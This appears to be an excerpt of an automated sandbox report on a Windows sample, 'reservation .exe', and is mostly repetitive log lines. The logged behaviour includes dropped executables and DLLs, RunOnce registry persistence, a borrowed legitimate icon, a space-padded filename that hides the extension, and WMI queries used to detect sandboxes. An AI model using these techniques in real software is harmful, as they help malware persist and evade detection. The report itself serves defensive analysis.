Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\ast.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\opus.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\xcopy.exe	File created: C:\Users\user\AppData\Roaming\fat\libcurl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\astrct.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-OUNKJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\is-I3C98.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	File created: C:\Users\user\AppData\Local\Temp\qilq\is-MGO66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\reservation .exe	File created: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fat	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fat	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fat	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce fat	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: 111.png

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

Source: Detected 46 consecutive spaces in filename

Static PE information: reservation .exe

Source: C:\Users\user\Desktop\reservation .exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\reservation .exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
